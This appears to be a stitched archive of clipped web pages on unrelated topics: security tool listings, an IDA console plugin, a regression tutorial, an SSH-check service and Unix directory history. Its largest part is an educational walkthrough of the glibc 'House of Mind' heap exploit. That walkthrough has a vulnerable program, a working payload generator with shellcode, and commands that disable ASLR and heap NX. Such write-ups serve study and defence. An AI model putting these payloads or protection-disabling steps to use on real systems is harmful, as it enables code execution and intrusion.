http://www.ribadeohacklab.com.ar/tools/scripts/IPythonShell/IPythonShellGTK.py

  

Requirements:

\- pyGTK & pyGobject \(http://www.pygtk.org/\)

\- IPython \(http://ipython.scipy.org/moin/FrontPage\)

  

A minor problem this still has is that you must close the IPython Console
before closing IDA Pro or it will give an access violation. I'll work on that
in another release.

  

I've been told this blocks IDA. So far I only had problems while running the
debugger. If the console is used when doing a static analysis it seems nothing
is blocked.

If you find issues, please let me know.

  

Some ideas for the future:

\- create a nicer console with some built-in things you can run just pressing
buttons in a toolbar.

\- another version but using pyQT.

  

Hope you enjoy it\!

  

Sagar \(RibadeoHackLab\)

# Virt-ICE: Next-generation Debugger for Malware Analysis

**Created:**| _8/13/2010 11:46:22 AM_  
---|---  
**Updated:**| _8/13/2010 11:46:50 AM_  
**Author:**| __  
**Tags:**| _Debugging papers Malware-analysis anti-debugging_  
  
<img src='img/Temp2_8892' />

# Marc Ruef • Software

**Created:**| _6/4/2010 1:05:46 PM_  
---|---  
**Updated:**| _6/4/2010 1:05:46 PM_  
**Author:**| __  
**Tags:**| _bookmark security tools windows environment_  
  
Software  
<img src='img/Temp2_5207.jpg' alt='Deutsch' /> <img src='img/Temp2_5208.jpg'
alt='English' />| "It took me 40 minutes to launch 3 Vmwares on my
workstation. This is way too long\! Need new hardware\! \#vmware \#vm
\#hardware \#boredom" \- @mruef via Twitter, vor 3 Stunden  ∴  
---|---  
  
  

This is a list of links to the web sites of software projects or links to the
downloads themselves. Only a small amount of work is listed here. Most
releases were published as additional improvements to existing projects. \(16
Software, software.csv\)

  
  
  
---  
Attack Tool Kit \(ATK\)  
2003-2010, Microsoft Windows, Microsoft Visual Basic 6.0  
The ATK is an open-source exploiting framework for Windows. The plugin-based
system allows the detection and exploitation of vulnerabilities. With such a
proof-of-concept the existence and severity of security holes can be
determined. This application has been discussed in several books and papers
about professional vulnerability assessments. The software has been ported to
different platforms \(e.g. ANSI C, C\#, Ruby\).  
  
  
  
---  
browserrecon  
2008-2010, UNIX/Windows, PHP/ASP  
The browserrecon project is doing some research in the field of web client
fingerprinting. The goal is the highly accurate identification of given web
browser implementations. Besides the discussion of different approaches and
the documentation of gathered results also an implementation for automated
analysis is provided. This software shall improve the easyness and efficiency
of this kind of enumeration.  
  
  
  
---  
Catwalk  
2002-2005, UNIX/Linux, Shell Script  
Catwalk is able to do scanning and enumeration in a network automatically and
highly efficient. This is an enormous advantage within professional
vulnerability assessments which require to do the same access attempts over
and over again \(e.g. route-traceing\).  
  
  
  
---  
ChatBot  
2001, UNIX/Linux, Shell/CGI Script  
The request/response scheme allows the bot to interact with human beings
within a chat session. If an answer is not known by the artificial
intellicence, the reaction of the chat partner is observed. This interaction
will be used within further dialogs. Therefore, the AI is able to 'learn' and
evolve.  
  
  
  
---  
codEX  
2006-2010, Microsoft Windows, Win32 EXE  
codEX is an application which is written for Microsoft Windows. The GUI based
frameworks makes source code analysis much easier and partially automated.
With the virtual compilation of the original source code into METACODE further
formal analysis is possible without further language dependency.  
  
  
  
---  
Dante Security Scanner  
2002-2003, UNIX/Linux, Shell/CGI Script  
The Dante Security Scanner is a vulnerability scanner with a modulare
architecture. The user is able to scan different hosts for possible flaws.
This project is not maintained anymore because it was followed by the Attack
Tool Kit Project. Dante was discussed in the book 'Haking Intern' for example.  
  
  
  
---  
Entropia  
2006-2010, Microsoft Windows, Win32 EXE  
Entropia is the name of a framework which can be used for the analysis if
random and pseudo-random values \(e.g. session ids, transaction numbers,
hashes, encrypted messages, etc.\). At a first step the determination of the
used algorithm is possible with enhanced fingerprinting. And the second step
allows the analysis if the characteristics and flaws of the mechanism \(e.g.
weak entropy\).  
  
  
  
---  
filerecon  
2008-2010, Windows/Linux, Microsoft Visual Basic 6.0 / PHP  
The filerecon project is doing some research in the field of file
fingerprinting. The goal is the highly accurate identification of given file
structures. This is very important to identify file association \(e.g. during
a forensic analysis or data recovery\). Besides the discussion of different
approaches and the documentation of gathered results also an implementation
for automated analysis is provided.  
  
  
  
---  
httprecon  
2007-2010, Microsoft Windows, Microsoft Visual Basic 6.0 / Lua  
httprecon provides an open-source utility of enhanced web server
fingerprinting. By using traditional and new techniques the provided httpd
implementation can be detected which is very important for further enumeration
and attacks. Some of these techniques were introduced in the book 'Die Kunst
des Penetration Testing'. Furthermore, new fingerprints can be saved within
the database and results exported into html reports.  
  
  
  
---  
Nmap NSE Vulscan  
2010, Windows/Linux, Nmap NSE \(Lua\)  
The nmap project provides the possibility of enhancing the enumeration
techniques of the utility by using the nmap scripting engine \(NSE\) based on
the scripting language Lua. The nmap nse vulscan script helps to identify
vulnerabilities within services - published by osvdb.org - which has been
identified by version detection of nmap.  
  
  
  
---  
PGP SDA Cracker  
2008-2010, Microsoft Windows, Win32 EXE  
The PGP SDA Cracker is a Windows utility written to attack self-extracting PGP
EXE archives. The GUI-based attack tries to identify the password with
traditional bruteforce. This implementation is a proof-of-concept in a first
place to prove the ability of attacking highly proprietary security solutions
without public interfaces.  
  
  
  
---  
procms  
2007-2010, UNIX/Linux, PHP  
The procms \(Project CMS\) is a free and simple Web Content Management System
written in PHP. The data is saved within flat text files so no further
installation of a database \(e.g. MySQL\) is required. This allows the
publishing of small software projects very fast and easy.  
  
  
  
---  
Simple Windows Bash \(swb\)  
2002, Microsoft Windows, Batch Script  
The Simple Windows Bash \(swb\) is a very simple adaption of the Linux Bourne
Again Shell \(bash\). The collected batch scripts help Linux users to use
their well-known commands and syntax on a Windows platform \(e.g. ls and uname
-a\).  
  
  
  
---  
Skype Logger  
2008-2009, Microsoft Windows, Microsoft Visual Basic 6.0  
The Skype Logger is a simple tool which introduces the possibility of logging
all actions within the Skype client under Windows. Therefore, it is possible
to record all actions as like logins/logoffs of friends or changes in their
status. To use the software the Skype client must be running and the access to
the API allowed.  
  
  
  
---  
telnetrecon  
2008-2010, Microsoft Windows, Microsoft Visual Basic 6.0  
Similar to httprecon is telnetrecon able to do an advanced application
fingerprinting of telnet servers. By analyzing the options negotiation of
session initiations the given implementation can be identified very exactly.  
  
  
  
---  
Virgil CGI Scanner  
2002, UNIX/Linux, Shell/CGI Script  
Virgil is a web-based CGI scanner. It is very easy to use the software with a
web browser to detect vulnerabilities on web servers. Due to a serious
vulnerability within Virgin the frontend should be protected \(e.g. an
htaccess password authentication\).

# Regression Analysis using R explained - AnalyticBridge

**Created:**| _12/27/2014 9:40:51 AM_  
---|---  
**Updated:**| _12/27/2014 9:40:51 AM_  
**Author:**| __  
**Tags:**| _data science_  
  

# Regression Analysis using R explained

### What is a Prediction Problem?

A business problem which involves predicting future events by extracting
patterns in the historical data. Prediction problems are solved using
Statistical techniques, mathematical models or machine learning techniques.

For example: Forecasting stock price for the next week, predicting which
football team wins the world cup, etc.

### What is Regression analysis, where is it applicable?

While dealing with any prediction problem, the easiest, most widely used yet
powerful technique is the Linear Regression. Regression analysis is used for
modeling the relationship between a response variable and one or more input
variables.

In simpler terms,Regression Analysis helps us to find answers to:

  * Prediction of Future observations
  * find association, relationship between variables.
  * Identify which variables contribute more towards predicting the future outcomes.

### Types of regression problems:

#### Simple Linear Regression:

If model deals with one input, called as independent or predictor variable and
one output variable, called as dependent or response variable then it is
called Simple Linear Regression. In this type of Linear regression,  _it
assumes that there exists a linear relation between predictor and response
variable of the form_.

Y ≈ β0 + β1X + e.

<img src='img/Temp2_6790.png' />

In the above equation, β0,β1 are the unknown constants that represent
intercept and slop of a straight line which we learned in our high schools.
These known constants are known as the model coefficients or parameters. From
the above equation, X is the known input variable and if we can estimate β0,β1
by some method then Y can be predicted. In order to predict future outcomes,
by using the training data we need to estimate the unknown model parameters
\(ˆ β0,ˆ β1\) using the equation.

ˆy = ˆ β0 + ˆ β1x + ˆe, where ˆ y,ˆ β0,ˆ β1 are the estimates.

#### Multiple Linear Regression:

If the problem contains more than one input variables and one response
variable, then it is called Multiple Linear regression.

### How do we apply Regression analysis using R?

Let us apply regression analysis on power plant dataset available from here.
The dataset contains 9568 data points collected from a Combined Cycle Power
Plant over 6 years \(2006-2011\), when the power plant was set to work with
full load. Features consist of hourly average ambient variables Temperature
\(T\), Ambient Pressure \(AP\), Relative Humidity \(RH\) and Exhaust Vacuum
\(V\) to predict the net hourly electrical energy output \(EP\) of the plant.

please visit here for full blog post with R code.

# Rebex SSH Check

**Created:**| _6/29/2017 4:17:01 PM_  
---|---  
**Updated:**| _6/29/2017 4:17:01 PM_  
**Author:**| __  
**Tags:**| _ssh_  
  

  

# Rebex SSH Check

#### Enter a hostname or IP address below to check the server's SSH
capabilities:

  

:

* * *
This free SSH testing tool checks the configuration of given server accessible
over internet. We don't ask you for any login or password, this service only
returns information available during SSH handshake - notably supported
encryption and MAC algorithms, and an overview of offered server public keys.

See an example here

* * *
#### Changelog

2017-06-29: Adding support for rsa-sha2-256, rsa-sha2-512 and ssh-rsa-
sha256@ssh.com keys.

2017-06-21: SshCheck should no longer crash when there is no common SSH
algorithm between us and the queried server \(as was the case with e.g.
chacha20-poly1305\).

2017-06-19: Please note that IPv6 queries are still not functional. We're
trying to fix this. Another issue is querying servers with only
chacha20-poly1305 and aes-gcm algorithms. We're working on that as well.

2017-06-16: Decreased cache expiry to 10 seconds. Reclassified security level
of some algorithms.

  

# x86 Exploitation 101: “House of Mind” – Undead and loving it… | gb\_master's /dev/null
**Created:**| _7/16/2015 10:59:03 AM_  
---|---  
**Updated:**| _7/16/2015 11:02:30 AM_  
**Author:**| __  
**Tags:**| _x86 Heap_  
  

There I go with the description of the second house…

  

THE HOUSE OF MIND

  

Ingredients:

\- One free\(\) of a chunk under the control of the exploiter

\- A sufficiently large memory space where the exploiter can write

  

This technique was described as the most general and plausible and probably
the most similar to the good old unlink technique. The whole point here is to
make the free function to believe that the chunk-to-be-freed doesn’t belong to
the main arena \(by setting, of course, the NON\_MAIN\_ARENA flag in the chunk
space itself\). In order to understand this at best, it is required to give a
look at the free source code in the 2.3.5 version of glibc at line \#3368:

  

void  
public\_fREe\(Void\_t\* mem\)  
\{  
  mstate ar\_ptr;  
  mchunkptr p;                          /\* chunk corresponding to mem \*/  
  
  \[...\]  
  
  p = mem2chunk\(mem\);  
  
  \[...\]  
  
  ar\_ptr = arena\_for\_chunk\(p\);  
  
  \[...\]  
  
  \_int\_free\(ar\_ptr, mem\);  
  \(void\)mutex\_unlock\(&ar\_ptr->mutex\);  
\}

  

The memory pointer is converted into the chunk pointer p by using the
mem2chunk macro and, then, the corresponding arena is computed by using the
arena\_for\_chunk macro. The arena pointer ar\_ptr and the memory pointer are
then passed to the \_int\_free function in order to free the memory space
itself. A deeper look to the arena\_for\_chunk macro definition in the arena.c
file will enlighten the path that should be followed here:

  

\#define HEAP\_MAX\_SIZE \(1024\*1024\) /\* must be a power of two \*/  
  
\#define heap\_for\_ptr\(ptr\) \  
\(\(heap\_info \*\)\(\(unsigned long\)\(ptr\) & ~\(HEAP\_MAX\_SIZE-1\)\)\)  
  
/\* check for chunk from non-main arena \*/  
\#define chunk\_non\_main\_arena\(p\) \(\(p\)->size & NON\_MAIN\_ARENA\)  
  
\#define arena\_for\_chunk\(ptr\) \  
\(chunk\_non\_main\_arena\(ptr\) ? heap\_for\_ptr\(ptr\)->ar\_ptr :
&main\_arena\)

  

The arena\_for\_chunk macro just checks if the NON\_MAIN\_ARENA flag is set by
calling the chunk\_non\_main\_arena macro: if the flag is not set, then the
main\_arena pointer is returned, otherwise the heap\_info address for that
memory chunk is computed by calling heap\_for\_ptr and its ar\_ptr field is
returned. As HEAP\_MAX\_SIZE is normally set at 1MB, the heap\_for\_ptr just
performs a “ptr AND 0xFFF00000″ and returns the result. In short, when a non-
main heap is created, it is always aligned to a multiple of HEAP\_MAX\_SIZE.

  

As K-sPecial says, if the first allocated chunk is at 0x08012345 \(remember
that the NON\_MAIN\_ARENA flag has been forced to 1\), then its arena pointer
will be 0x08000000 \(the arena pointer is the first field in the heap\_info
structure\). This will probably end into a segmentation fault, as there’s no
valid arena structure there. The trick is to make the program allocate more
and more memory until a chunk is allocated over 0x08100000 in order to have
the heap\_info structure “located” at 0x08100000. Asking the program to
allocate more and more memory might sound too much, but let’s think to an
application using a socket: it could actually allocate memory in order to fill
the buffer.

  

The point here is that the ar\_ptr variable can be changed to any value \(even
pointing to an environment variable\) as it’s up to the exploiter to forge the
heap\_info structure. The first alternative is to make ar\_ptr point to a
sufficiently large memory space where the exploiter can write whatever he
wants and use the unsorted\_chunks to cause a memory overwrite.

  

If the following conditions on the chunk are met, then the unsorted\_chunks
code is executed:

\- The negative of the size of the overflowed chunk must be less than the
value of the chunk itself

\- The size of the chunk must not be less than av->max\_fast

\- The IS\_MMAPPED bit of the size cannot be set

\- The overflowed chunk cannot equal av->top

\- The NONCONTIGUOUS\_BIT of av->max\_fast must be set

\- The PREV\_INUSE bit of the nextchunk \(chunk + size\) must be set

\- The size of nextchunk must be greater than 8

\- The size of nextchunk must be less than av->system\_mem

\- The PREV\_INUSE bit of the chunk must not be set

\- The nextchunk cannot equal av->top

\- The PREV\_INUSE bit of the chunk after nextchunk \(nextchunk + nextsize\)
must be set

  

Even if they look like a lot and difficult to apply all at the same time, the
only “difficult” ones are the ones involving the nextchunk, as they depend on
the specific scenario. For all the others, as the exploiter controls the most
of the values, they’re not a big issue.

  

If all these conditions are met, then the following piece of code at \#4338 is
executed:

  

/\*  
  Place the chunk in unsorted chunk list. Chunks are  
  not placed into regular bins until after they have  
  been given one chance to be used in malloc.  
\*/  
  
bck = unsorted\_chunks\(av\);  
fwd = bck->fd;  
p->bk = bck;  
p->fd = fwd;  
bck->fd = p;  
fwd->bk = p;  

  

Just like in the House of Prime, unsorted\_chunks returns the address of
av->bins\[0\], which is under the exploiter’s control. Then, fwd will be equal
to \*\(&av->bins\[0\] + 8\) and the fwd->bk = p line will overwrite the
\*\(&av->bins\[0\] + 8\) + 12 location of memory with the p value. Phantasmal
advices to store in &av->bins\[0\] + 8 the address of a .dtors entry – 8:
doing this means that this value will be placed in fwd and DTORS\_END will be
overwritten with the p value by fwd->bk = p.

  

K-sPecial proposed the following vulnerable program to be exploited:

  

/\*  
\* K-sPecial's vulnerable program slightly modified by gb\_master  
\*/  
\#include <stdio.h>  
\#include <stdlib.h>  
  
int main \(void\)  
\{  
  char \*ptr  = malloc\(1024\);  
  char \*ptr2;  
  int heap = \(int\)ptr & 0xFFF00000, i;  
  
  printf\("ptr found at %p\n", ptr\);  
  
  // i == 2 because this is my second chunk to allocate  
  for \(i = 2; i < 1024; i++\)  
  \{  
    if \(\(\(int\)\(ptr2 = malloc\(1024\)\) & 0xFFF00000\) == \(heap +
0x100000\)\)  
    \{  
      printf\("good heap alignment found on malloc\(\) %i \(%p\)\n", i,
ptr2\);  
      break;  
    \}  
  \}  
  
  malloc\(1024\); // ptr2 can't be av->top  
  fread \(ptr, 1024 \* 1024, 1, stdin\); // the overflow on ptr  
  
  free\(ptr\);  
  free\(ptr2\); // The House of Mind  
  return 0;  
\}

  

and obtained the following output

  

ptr found at 0x804a008  
good heap alignment found on malloc\(\) 724 \(0x81002a0\)  

  

The exploit he wrote is shown and described below:

  

0xAA 0xAA 0xAA 0xAA            will be overwritten with garbage by free\(\)  
0xAA 0xAA 0xAA 0xAA            will be overwritten with garbage by free\(\)  
  
0x00 0x00 0x00 0x00            av->mutex = 0  
  
0x02 0x01 0x00 0x00            -\  
0x02 0x01 0x00 0x00            |  
0x02 0x01 0x00 0x00            | av->max\_fast = 0x102 = 258  
0x02 0x01 0x00 0x00            | \(written multiple times just to be  
0x02 0x01 0x00 0x00            | sure of hitting it\)  
0x02 0x01 0x00 0x00            |  
0x02 0x01 0x00 0x00            |  
0x02 0x01 0x00 0x00            -/  
  
0x...  DTORS\_END-12            -\  
0x...  DTORS\_END-12            | av->bins\[0\]  
\[...\]                          | repeated 246 times  
0x...  DTORS\_END-12            -/  
  
0x09 0x04 0x00 0x00 malloc'ed chunk's size    -\  
0x41 0x41 0x41 0x41 -\                        |  
\[...\]                | garbage data \* 257      |  
0x41 0x41 0x41 0x41 -/                        | repeated 721 times  
\[...\]                                          | \(all the chunks\)  
0x09 0x04 0x00 0x00                            |  
0x41 0x41 0x41 0x41                            |  
\[...\]                                          |  
0x41 0x41 0x41 0x41                          -/  
  
0x09 0x04 0x00 0x00          size  
1ST CHUNK ADDR + 8            -\  
1ST CHUNK ADDR + 8            | this is the memory address returned that  
1ST CHUNK ADDR + 8            | will be returned by heap\_for\_ptr: it is  
1ST CHUNK ADDR + 8            | necessary to write the correct address for  
\[...\]                          | ar\_ptr here \(256 times\)  
1ST CHUNK ADDR + 8            -/  
  
0xEB 0x0C 0x90 0x90          jmp + 12  
  
0x0D 0x04 0x00 0x00          size | NON\_MAIN\_ARENA  
  
0x90 0x90 0x90 0x90          small NOP slide  
0x90 0x90 0x90 0x90  
0x.. 0x.. SHELLCODE  

  

In short, K-sPecial created a fake arena where ptr is, he wrote garbage data
between ptr and ptr2, faked an heap\_info structure where 0x08100000 is,
correctly set the size for ptr2 and wrote there a shellcode.

  

Sadly, trying this technique today won’t work, as this vulnerability was
patched in glibc 2.11 with the following additional check in the \_int\_free
function:

  

bck = unsorted\_chunks\(av\);  
fwd = bck->fd;  
if \(\_\_builtin\_expect \(fwd->bk \!= bck, 0\)\)  
  \{  
    errstr = "free\(\): corrupted unsorted chunks";  
    goto errout;  
  \}  
p->fd = fwd;  
p->bk = bck;  

  

This additional condition just checks the integrity of the unsorted\_chunks
list, in a similar way to what was already done to unlink. Anyway, something
nasty is still possible, as described by newlog in this document. As the
technique is already fully described in that document, I won’t copy-paste it
here.

  

So is House of Mind dead? Well, Phantasmal described another way of causing
the memory overwrite: by using the fastbin code. As the piece of code involved
is at the beginning of the \_int\_free function, this approach has the
wonderful advantage of having less integrity checks to take care of. In fact,
if we look at the code in malloc.c at line \#4244, we find the following:

  

if \(\(unsigned long\)\(size\) <= \(unsigned long\)\(av->max\_fast\)  
  
\#if TRIM\_FASTBINS  
    /\*  
      If TRIM\_FASTBINS set, don't place chunks  
      bordering top into fastbins  
    \*/  
    && \(chunk\_at\_offset\(p, size\) \!= av->top\)  
\#endif  
    \) \{  
  
  if \(\_\_builtin\_expect \(chunk\_at\_offset \(p, size\)->size <= 2 \*
SIZE\_SZ, 0\)  
      || \_\_builtin\_expect \(chunksize \(chunk\_at\_offset \(p, size\)\)  
                    >= av->system\_mem, 0\)\)  
    \{  
      errstr = "free\(\): invalid next size \(fast\)";  
      goto errout;  
    \}  
  
  set\_fastchunks\(av\);  
  fb = &\(av->fastbins\[fastbin\_index\(size\)\]\);  
  /\* Another simple check: make sure the top of the bin is not the  
    record we are going to add \(i.e., double free\).  \*/  
  if \(\_\_builtin\_expect \(\*fb == p, 0\)\)  
    \{  
      errstr = "double free or corruption \(fasttop\)";  
      goto errout;  
    \}  
  p->fd = \*fb;  
  \*fb = p;  
\}  

  

The game of pointers quite changed since this technique was invented, as there
were some errors in its original presentation and K-sPecial apparently didn’t
notice them in its review. Anyway, blackngel fixed the approach and published
his final version. The achievement to be reached here is to set fb to the
address of memory that is going to be overwritten \(might be the return
address of a function\) and to have it overwritten with the overflowed chunk’s
address thanks to the \*fb = p line of code.

  

The idea of using a “fake arena” when freeing the overflowed chunk still
remains the same. As with the previous approach, a list of conditions must be
met in order to execute that part of code:

\- The size of chunk must be less than av->maxfast

\- The size of contiguous chunk \(next chunk\) to p must be greater than 8:

\- The same chunk, at time, must be less than av->system\_mem:

  

What happens to the fastbin\_index\(\) macro when the size is 16?

  

fastbin\_index\(16\) = \(16 >> 3\) - 2 = 0  

  

So in short, everything reduces to:

  

fb = &\(av->fastbins \[0\]\)  

  

As blackngel says, this is more or less everything we need to perform a return
address overwriting. In fact, if the vulnerable piece of code is inside a
function, then EBP and EIP were pushed onto the stack when the function itself
was called and, with a little bit of luck, after the pushed EBP there are
zeroes, matching the following layout:

  

STACK:  ^  
        |  
        |      pushed EIP  
        |      pushed EBP  
        |      0x00000000  
        |  

  

If the fake arena starts were those zeroes are, the stack is used in the
following way:

  

STACK:  ^  
        |  
        |      0xRAND\_VAL    av->system\_mem \(av + 1848\)  
        |        ...  
        |      pushed EIP    av->fastbins\[0\]  
        |      pushed EBP    av->max\_fast  
        |      0x00000000    av->mutex  
        |  

  

Hopefully 0xRAND\_VAL will be a good random value and will allow the code to
bypass the checks.

As the size of p must be 16 and as it must have the NON\_MAIN\_ARENA and
PREV\_INUSE flags set, the final value for the size field will be 0x15. The
following chunk will be located at p + 16 – 8 and its size, in order to match
the requirements, can be easily set to 9. At the beginning of p there must be
a JMP instruction in order to jump to the correct shellcode position \(p’s
next chunk falls actually in between this JMP instruction and the shellcode
itself\).

  

After looking at how glibc’s implements this mechanism today I noticed that it
didn’t change that much \(I’m using glibc 2.20\) and that probably this
technique could still work nowadays. What actually changed is the structure of
malloc\_state, but this actually made our life a lot easier, as, instead of
max\_fast, we have now flags:

  

struct malloc\_state  
\{  
  /\* Serialize access.  \*/  
  mutex\_t mutex;  
  
  /\* Flags \(formerly in max\_fast\).  \*/  
  int flags;  
  
  /\* Fastbins \*/  
  mfastbinptr fastbinsY\[NFASTBINS\];  
  
  ...  

  

Instead of using the max\_fast field, now there is the get\_max\_fast\(\)
macro that returns, by default, 64. AWESOME\!\!\! What I did is to slightly
modify K-sPecial’s program in order to have the allocation process inside a
function, in order to change the return address pushed onto the stack when the
function itself is called. This is how the code looks like now:

  

/\*  
\* K-sPecial's vulnerable program slightly modified by gb\_master \(again\)  
\*/  
\#include <stdio.h>  
\#include <stdlib.h>  
  
int fvuln \(void\)  
\{  
  char \*ptr  = malloc\(1024\);  
  char \*ptr2;  
  int heap = \(int\)ptr & 0xFFF00000, i;  
  int ret = 0;  
  
  printf\("ptr found at %p\n", ptr\);  
  
  // i == 2 because this is my second chunk to allocate  
  for \(i = 2; i < 1024; i++\)  
  \{  
    if \(\(\(int\)\(ptr2 = malloc\(1024\)\) & 0xFFF00000\) == \(heap +
0x100000\)\)  
    \{  
      printf\("good heap alignment found on malloc\(\) %i \(%p\)\n", i,
ptr2\);  
      break;  
    \}  
  \}  
  
  fread \(ptr, 1024 \* 1024, 1, stdin\);  
  
  free\(ptr\);  
  free\(ptr2\);  
  
  return ret;  
\}  
  
int main\(void\)  
\{  
  fvuln\(\);  
  
  return 0;  
\}  
  

  

Pay attention to that “int ret = 0;” which was required in order to assure
that I have at least a 0x00000000 in the stack and use it for av->mutex.

Please note that I compiled this code with the usual following options:

  

gcc hom.c -m32 -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -o
hom

  

and that I disabled ASLR with the command:

  

echo 0 > /proc/sys/kernel/randomize\_va\_space

  

The “problem” I had was to find an equivalent of the -zexecstack option for
the heap, as the NX bit protection is valid for the heap as well: it marks the
areas of memory dedicated to the heap as non-executable. So, it came out that
there’s an easy way to do that at kernel command-line level: adding noexec=off
to the kernel options \(please set this option only for testing purposes\).

So, next thing is to run the application and write down the output:

  

$ ./hom  
ptr found at 0x804b008  
good heap alignment found on malloc\(\) 720 \(0x8100280\)  

  

Then I needed the address where EBP had been pushed when fvuln\(\) was called:
attaching GDB to the running process did the trick \(FYI it’s 0xFFFFCFA0 on my
system\). This is all the information and all the OS settings I needed in
order to test this type of exploit.

Writing the exploit has been pretty easy, given blackngel’s instructions:

  

\#include <stdio.h>  
  
\#define EBPMINUS4  0xFFFFCF9C  
\#define N          720  
  
// Just prints the Pwned string  
unsigned char shellcode\[\] =  
"\xeb\x17\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x06"  
"\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x50\x77\x6e\x65"  
"\x64\x21\x0a";  
  
int main\(void\)  
\{  
  int i, j;  
  
  // Some filler for the whole ptr chunk + ptr2's prev\_size  
  for \(i = 0; i < 1028; i++\)  
    putchar\(0x41\);  
  
  for \(i = 0; i < N - 3; i++\)  
  \{  
    fwrite\("\x09\x04\x00\x00", 4, 1, stdout\);  
    for \(j = 0; j < 1028; j++\)  
      putchar\(0x41\);  
  \}  
  
  fwrite\("\x09\x04\x00\x00", 4, 1, stdout\);  
  for \(i = 0; i < \(1024 / 4\); i++\)  
  \{  
    putchar\(\(EBPMINUS4 & 0x000000FF\) >> 0\);  
    putchar\(\(EBPMINUS4 & 0x0000FF00\) >> 8\);  
    putchar\(\(EBPMINUS4 & 0x00FF0000\) >> 16\);  
    putchar\(\(EBPMINUS4 & 0xFF000000\) >> 24\);  
  \}  
  
  // ptr2's prev\_size  
  fwrite\("\xeb\x16\x90\x90", 4, 1, stdout\);  
  
  // ptr2's size  
  fwrite\("\x15\x00\x00\x00", 4, 1, stdout\);  
  
  // NOP slide + nextchunk->size  
 
fwrite\("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x09\x00\x00\x00\x90\x90\x90\x90",
20, 1, stdout\);  
  
  // shellcode at the end  
  fwrite\(shellcode, sizeof\(shellcode\), 1, stdout\);  
  
  return 0;  
\}  

  

As I said, I am running a Linux box with glibc 2.20 and this exploit, I can
say, actually worked, giving me the expected output:

  

$ ./hom < payload  
ptr found at 0x804b008  
good heap alignment found on malloc\(\) 720 \(0x8100280\)  
Pwned\!$  

  

It’s important to remember that the .dtors and .got sections are now read-only
thanks to the RELRO protection, so overwriting the EIP is one of the very few
interesting options left. Anyway, doing this requires the cooperation of heap
and stack, adding some more complication to the technique: this doesn’t mean,
however, that the whole thing is not feasible.

  

In conclusion, the patch committed by the glibc project’s maintainers fixes
only part of the problem and no definitive patch was every committed since
then. An analysis of what could patch the fastbin way is described at this
page.

  

That’s all folks, for now…

About these ads

  

Share this:

  

\- Twitter

  

\- Facebook7

  

Loading...

  

Related

  

x86 Exploitation 101: this is the first witchy house

In "Exploitation"

  

x86 Exploitation 101: "House of Force" \- Jedi overflow

In "Exploitation"

  

x86 Exploitation 101: heap overflows... unlink me, would you please?

In "Exploitation"

  

<img src='img/Temp2_10774.png' width='640' height='55' />

# Understanding the bin, sbin, usr/bin , usr/sbin split

**Created:**| _1/31/2012 7:34:13 PM_  
---|---  
**Updated:**| _1/31/2012 7:34:27 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

[code]

    On Tuesday 30 November 2010 15:58:00 David Collier wrote:
    >_I see that busybox spreads it's links over these 4 directories._ >__ >_Is there a simple rule which decides which directory each link lives_ >_in....._ >__ >_For instance I see kill is in /bin and killall in /usr/bin.... I don't_ >_have a grip on what might be the logic for that._
    You know how Ken Thompson and Dennis Ritchie created Unix on a PDP-7 in 1969?  
    Well around 1971 they upgraded to a PDP-11 with a pair of RK05 disk packs (1.5 
    megabytes each) for storage.
    
    When the operating system grew too big to fit on the first RK05 disk pack (their 
    root filesystem) they let it leak into the second one, which is where all the 
    user home directories lived (which is why the mount was called /usr).  They 
    replicated all the OS directories under there (/bin, /sbin, /lib, /tmp...) and 
    wrote files to those new directories because their original disk was out of 
    space.  When they got a third disk, they mounted it on /home and relocated all 
    the user directories to there so the OS could consume all the space on both 
    disks and grow to THREE WHOLE MEGABYTES (ooooh!).
    
    Of course they made rules about "when the system first boots, it has to come up 
    enough to be able to mount the second disk on /usr, so don't put things like 
    the mount command /usr/bin or we'll have a chicken and egg problem bringing 
    the system up."  Fairly straightforward.  Also fairly specific to v6 unix of 35 
    years ago.
    
    The /bin vs /usr/bin split (and all the others) is an artifact of this, a 
    1970's implementation detail that got carried forward for decades by 
    bureaucrats who never question _why_ they're doing things.  It stopped making 
    any sense before Linux was ever invented, for multiple reasons:
    
    1) Early system bringup is the provice of initrd and initramfs, which deals 
    with the "this file is needed before that file" issues.  We've already _got_ a 
    temporary system that boots the main system.
    
    2) shared libraries (introduced by the Berkeley guys) prevent you from 
    independently upgrading the /lib and /usr/bin parts.  They two partitions have 
    to _match_ or they won't work.  This wasn't the case in 1974, back then they 
    had a certain level of independence because everything was statically linked.
    
    3) Cheap retail hard drives passed the 100 megabyte mark around 1990, and 
    partition resizing software showed up somewhere around there (partition magic 
    3.0 shipped in 1997).
    
    Of course once the split existed, some people made other rules to justify it.  
    Root was for the OS stuff you got from upstream and /usr was for your site-
    local files.  Then / was for the stuff you got from AT&T and /usr was for the 
    stuff that your distro like IBM AIX or Dec Ultrix or SGI Irix added to it, and 
    /usr/local was for your specific installation's files.  Then somebody decided 
    /usr/local wasn't a good place to install new packages, so let's add /opt!  
    I'm still waiting for /opt/local to show up...
    
    Of course given 30 years to fester, this split made some interesting distro-
    specific rules show up and go away again, such as "/tmp is cleared between 
    reboots but /usr/tmp isn't".  (Of course on Ubuntu /usr/tmp doesn't exist and 
    on Gentoo /usr/tmp is a symlink to /var/tmp which now has the "not cleared 
    between reboots" rule.  Yes all this predated tmpfs.  It has to do with read-
    only root filesystems, /usr is always going to be read only in that case and 
    /var is where your writable space is, / is _mostly_ read only except for bits 
    of /etc which they tried to move to /var but really symlinking /etc to 
    /var/etc happens more often than not...)
    
    Standards bureaucracies like the Linux Foundation (which consumed the Free 
    Standards Group in its' ever-growing accretion disk years ago) happily 
    document and add to this sort of complexity without ever trying to understand 
    why it was there in the first place.  'Ken and Dennis leaked their OS into the 
    equivalent of home because an RK05 disk pack on the PDP-11 was too small" goes 
    whoosh over their heads.
    
    I'm pretty sure the busybox install just puts binaries wherever other versions 
    of those binaries have historically gone.  There's no actual REASON for any of 
    it anymore.  Personally, I symlink /bin /sbin and /lib to their /usr 
    equivalents on systems I put together.  Embedded guys try to understand and 
    simplify...
    
    Rob
    -- 
    GPLv3: as worthy a successor as The Phantom Menace, as timely as Duke Nukem 
    Forever, and as welcome as New Coke.
    
[/code]

* * *
  * Previous message: 

# GDPR: a quick start guide

**Created:**| _5/31/2017 6:23:49 PM_  
---|---  
